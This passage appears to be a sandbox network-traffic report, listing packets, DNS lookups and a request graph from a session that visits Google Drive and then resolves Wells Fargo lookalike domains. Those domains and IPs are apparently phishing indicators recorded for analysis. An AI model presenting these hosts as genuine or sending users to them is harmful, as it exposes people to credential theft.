Nov 14, 2024 20:43:50.946522951 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.946568966 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.946582079 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.946619987 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.946918964 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.946918964 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.946933985 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.946940899 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.949830055 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.949865103 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.950088978 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.950088978 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.950129986 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.422384977 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.422975063 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.423038006 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.423449993 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.423466921 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.544015884 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.544452906 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.544467926 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.545038939 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.545042992 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.557411909 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.558556080 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.558634996 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.558634996 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.558716059 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.558752060 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.561605930 CET	50010	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.561697960 CET	443	50010	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.561779022 CET	50010	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.561883926 CET	50010	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.561924934 CET	443	50010	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.632217884 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.632854939 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.632916927 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.633138895 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.633152962 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.646601915 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.647023916 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.647053957 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.647413969 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.647430897 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.684552908 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.684592962 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.684644938 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.684696913 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.684899092 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.684906960 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.684916973 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.684921980 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.687577963 CET	50011	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.687608957 CET	443	50011	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.687767029 CET	50011	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.687890053 CET	50011	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.687906981 CET	443	50011	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.736668110 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.737054110 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.737075090 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.737621069 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.737627029 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.765822887 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.765872955 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.766107082 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.766194105 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.766195059 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.766236067 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.766269922 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.769467115 CET	50012	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.769553900 CET	443	50012	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.769639015 CET	50012	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.769737005 CET	50012	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.769777060 CET	443	50012	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.778215885 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.778273106 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.778338909 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.778464079 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.778481960 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.778495073 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.778502941 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.780807018 CET	50013	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.780859947 CET	443	50013	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.780944109 CET	50013	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.781054020 CET	50013	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.781083107 CET	443	50013	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.888822079 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.888887882 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.888935089 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.889070034 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.889082909 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.889091015 CET	50009	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.889096022 CET	443	50009	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.891922951 CET	50014	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.892009974 CET	443	50014	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:51.892100096 CET	50014	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.892220020 CET	50014	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:51.892261028 CET	443	50014	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:52.302798986 CET	443	50010	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:52.303229094 CET	50010	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:52.303270102 CET	443	50010	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:52.303720951 CET	50010	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:52.303731918 CET	443	50010	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2024 20:42:27.695974112 CET	53	60961	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:27.716196060 CET	53	54820	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:29.006413937 CET	53	60182	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:29.462987900 CET	50536	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:29.463382959 CET	63280	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:29.470930099 CET	53	50536	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:29.470968008 CET	53	63280	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:31.073195934 CET	53	57591	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:31.764169931 CET	54475	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:31.764808893 CET	57135	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:31.771790981 CET	53	54475	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:31.773154020 CET	53	57135	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:31.955929995 CET	50929	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:31.961407900 CET	49183	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:31.963278055 CET	53	50929	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:31.968385935 CET	53	49183	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:44.582616091 CET	138	138	192.168.2.4	192.168.2.255
Nov 14, 2024 20:42:46.652503967 CET	53	61300	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:56.672303915 CET	64725	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:56.672621012 CET	50477	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:56.679702044 CET	53	64725	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:56.679913044 CET	53	50477	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:56.708908081 CET	53	57413	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:56.710660934 CET	53	57149	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:58.904581070 CET	53	56254	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:59.436876059 CET	55190	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:59.436980009 CET	54082	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:42:59.443869114 CET	53	55190	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:59.444237947 CET	53	54082	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:59.460048914 CET	53	49363	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:59.465444088 CET	53	51621	1.1.1.1	192.168.2.4
Nov 14, 2024 20:42:59.513252974 CET	53	51905	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:02.780718088 CET	53	60777	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:02.855048895 CET	53509	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:02.855134964 CET	64650	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:02.862662077 CET	53	64650	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:02.863939047 CET	53	53509	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:05.556232929 CET	62842	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:05.556334972 CET	57126	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:05.556889057 CET	61939	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:05.557029963 CET	55287	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:05.727237940 CET	53	62842	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:05.727267981 CET	53	57126	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:05.727297068 CET	53	55287	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:05.727556944 CET	53	61939	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:05.730314016 CET	53	56656	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:06.047426939 CET	54843	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:06.048049927 CET	58658	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:06.056591988 CET	53	54843	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:06.057177067 CET	53	58658	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:06.089685917 CET	53	56779	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:07.468080997 CET	63533	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:07.469511032 CET	58226	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:07.475841999 CET	53	63533	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:07.477145910 CET	53	58226	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:09.417411089 CET	62540	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:09.417411089 CET	64546	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:09.426170111 CET	53	64546	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:09.427021980 CET	53	62540	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:14.648921013 CET	52250	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:14.649027109 CET	54883	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:14.656558990 CET	53	52250	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:14.657426119 CET	53	54883	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:24.808300018 CET	52250	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:24.808585882 CET	53273	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:25.000231028 CET	53	52250	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:25.263254881 CET	53	53273	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:27.372354984 CET	53	54054	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:28.702091932 CET	53	60876	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:29.465055943 CET	64797	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:29.465452909 CET	55288	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:29.475699902 CET	53	64797	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:30.023212910 CET	53	55288	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:30.337918997 CET	49909	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:30.338259935 CET	53923	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:30.648921967 CET	53	53923	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:30.660381079 CET	57187	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:30.660684109 CET	58020	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:30.874353886 CET	53	49909	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:31.065855980 CET	53	58020	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:31.258980036 CET	53	57187	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:41.357904911 CET	51458	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:41.358529091 CET	50660	53	192.168.2.4	1.1.1.1
Nov 14, 2024 20:43:41.909692049 CET	53	50660	1.1.1.1	192.168.2.4
Nov 14, 2024 20:43:41.931992054 CET	53	51458	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 14, 2024 20:43:25.263386965 CET	192.168.2.4	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable
Nov 14, 2024 20:43:30.023293018 CET	192.168.2.4	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 14, 2024 20:42:29.462987900 CET	192.168.2.4	1.1.1.1	0x6d1d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:29.463382959 CET	192.168.2.4	1.1.1.1	0x848f	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:42:31.764169931 CET	192.168.2.4	1.1.1.1	0x89df	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:31.764808893 CET	192.168.2.4	1.1.1.1	0xc78e	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:42:31.955929995 CET	192.168.2.4	1.1.1.1	0x24f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:31.961407900 CET	192.168.2.4	1.1.1.1	0xac4f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:42:56.672303915 CET	192.168.2.4	1.1.1.1	0xd9	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:56.672621012 CET	192.168.2.4	1.1.1.1	0xbefe	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:42:59.436876059 CET	192.168.2.4	1.1.1.1	0x46a4	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:59.436980009 CET	192.168.2.4	1.1.1.1	0xec07	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:02.855048895 CET	192.168.2.4	1.1.1.1	0x8f54	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:02.855134964 CET	192.168.2.4	1.1.1.1	0x3c01	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:05.556232929 CET	192.168.2.4	1.1.1.1	0x25bd	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:05.556334972 CET	192.168.2.4	1.1.1.1	0x6387	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:05.556889057 CET	192.168.2.4	1.1.1.1	0xebb5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:05.557029963 CET	192.168.2.4	1.1.1.1	0xe628	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:06.047426939 CET	192.168.2.4	1.1.1.1	0xc167	Standard query (0)	blobcomments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:06.048049927 CET	192.168.2.4	1.1.1.1	0x6c3c	Standard query (0)	blobcomments-pa.clients6.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:07.468080997 CET	192.168.2.4	1.1.1.1	0xfe46	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:07.469511032 CET	192.168.2.4	1.1.1.1	0xb3a6	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:09.417411089 CET	192.168.2.4	1.1.1.1	0x20c1	Standard query (0)	blobcomments-pa.clients6.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:09.417411089 CET	192.168.2.4	1.1.1.1	0x3cd0	Standard query (0)	blobcomments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:14.648921013 CET	192.168.2.4	1.1.1.1	0x25c4	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:14.649027109 CET	192.168.2.4	1.1.1.1	0x9ddf	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:24.808300018 CET	192.168.2.4	1.1.1.1	0x1f03	Standard query (0)	online.secure.access.wellsfarqoadvlsor.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:24.808585882 CET	192.168.2.4	1.1.1.1	0x9dac	Standard query (0)	online.secure.access.wellsfarqoadvlsor.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:29.465055943 CET	192.168.2.4	1.1.1.1	0xe15b	Standard query (0)	online.secure.access.wellsfarqoadvlsor.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:29.465452909 CET	192.168.2.4	1.1.1.1	0xd2d0	Standard query (0)	online.secure.access.wellsfarqoadvlsor.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:30.337918997 CET	192.168.2.4	1.1.1.1	0xf62a	Standard query (0)	connect.secure.access.wellsfargoadvlsor.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:30.338259935 CET	192.168.2.4	1.1.1.1	0x60e7	Standard query (0)	connect.secure.access.wellsfargoadvlsor.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:30.660381079 CET	192.168.2.4	1.1.1.1	0xdfed	Standard query (0)	connect.secure.access.wellsfargoadvlsor.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:30.660684109 CET	192.168.2.4	1.1.1.1	0x53c3	Standard query (0)	connect.secure.access.wellsfargoadvlsor.com	65	IN (0x0001)	false
Nov 14, 2024 20:43:41.357904911 CET	192.168.2.4	1.1.1.1	0x294d	Standard query (0)	connect.secure.access.wellsfargoadvlsor.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:41.358529091 CET	192.168.2.4	1.1.1.1	0x5df5	Standard query (0)	connect.secure.access.wellsfargoadvlsor.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 14, 2024 20:42:29.470930099 CET	1.1.1.1	192.168.2.4	0x6d1d	No error (0)	drive.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:31.771790981 CET	1.1.1.1	192.168.2.4	0x89df	No error (0)	drive.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:31.963278055 CET	1.1.1.1	192.168.2.4	0x24f3	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:31.968385935 CET	1.1.1.1	192.168.2.4	0xac4f	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 14, 2024 20:42:40.637816906 CET	1.1.1.1	192.168.2.4	0x8383	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:40.637816906 CET	1.1.1.1	192.168.2.4	0x8383	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:41.291837931 CET	1.1.1.1	192.168.2.4	0x5108	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:42:41.291837931 CET	1.1.1.1	192.168.2.4	0x5108	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:54.549917936 CET	1.1.1.1	192.168.2.4	0x4a96	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:42:54.549917936 CET	1.1.1.1	192.168.2.4	0x4a96	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:56.679702044 CET	1.1.1.1	192.168.2.4	0xd9	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:42:59.443869114 CET	1.1.1.1	192.168.2.4	0x46a4	No error (0)	play.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:02.862662077 CET	1.1.1.1	192.168.2.4	0x3c01	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:02.863939047 CET	1.1.1.1	192.168.2.4	0x8f54	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:02.863939047 CET	1.1.1.1	192.168.2.4	0x8f54	No error (0)	plus.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:05.727237940 CET	1.1.1.1	192.168.2.4	0x25bd	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:05.727237940 CET	1.1.1.1	192.168.2.4	0x25bd	No error (0)	plus.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:05.727267981 CET	1.1.1.1	192.168.2.4	0x6387	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:05.727297068 CET	1.1.1.1	192.168.2.4	0xe628	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 14, 2024 20:43:05.727556944 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:06.056591988 CET	1.1.1.1	192.168.2.4	0xc167	No error (0)	blobcomments-pa.clients6.google.com		142.250.186.138	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:07.475841999 CET	1.1.1.1	192.168.2.4	0xfe46	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:07.475841999 CET	1.1.1.1	192.168.2.4	0xfe46	No error (0)	plus.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:07.477145910 CET	1.1.1.1	192.168.2.4	0xb3a6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:09.426170111 CET	1.1.1.1	192.168.2.4	0x3cd0	No error (0)	blobcomments-pa.clients6.google.com		142.250.185.234	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:14.656558990 CET	1.1.1.1	192.168.2.4	0x25c4	No error (0)	peoplestackwebexperiments-pa.clients6.google.com		172.217.16.202	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:20.822360992 CET	1.1.1.1	192.168.2.4	0xf7e9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:20.822360992 CET	1.1.1.1	192.168.2.4	0xf7e9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:22.118927002 CET	1.1.1.1	192.168.2.4	0x20da	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:22.118927002 CET	1.1.1.1	192.168.2.4	0x20da	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:25.000231028 CET	1.1.1.1	192.168.2.4	0x1f03	No error (0)	online.secure.access.wellsfarqoadvlsor.com		188.119.66.154	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:29.475699902 CET	1.1.1.1	192.168.2.4	0xe15b	No error (0)	online.secure.access.wellsfarqoadvlsor.com		188.119.66.154	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:30.874353886 CET	1.1.1.1	192.168.2.4	0xf62a	No error (0)	connect.secure.access.wellsfargoadvlsor.com		103.114.163.132	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:31.258980036 CET	1.1.1.1	192.168.2.4	0xdfed	No error (0)	connect.secure.access.wellsfargoadvlsor.com		103.114.163.132	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:41.579855919 CET	1.1.1.1	192.168.2.4	0x7306	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 20:43:41.579855919 CET	1.1.1.1	192.168.2.4	0x7306	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 20:43:41.931992054 CET	1.1.1.1	192.168.2.4	0x294d	No error (0)	connect.secure.access.wellsfargoadvlsor.com		103.114.163.132	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

https:

play.google.com

apis.google.com

www.google.com

online.secure.access.wellsfarqoadvlsor.com

connect.secure.access.wellsfargoadvlsor.com

fs.microsoft.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
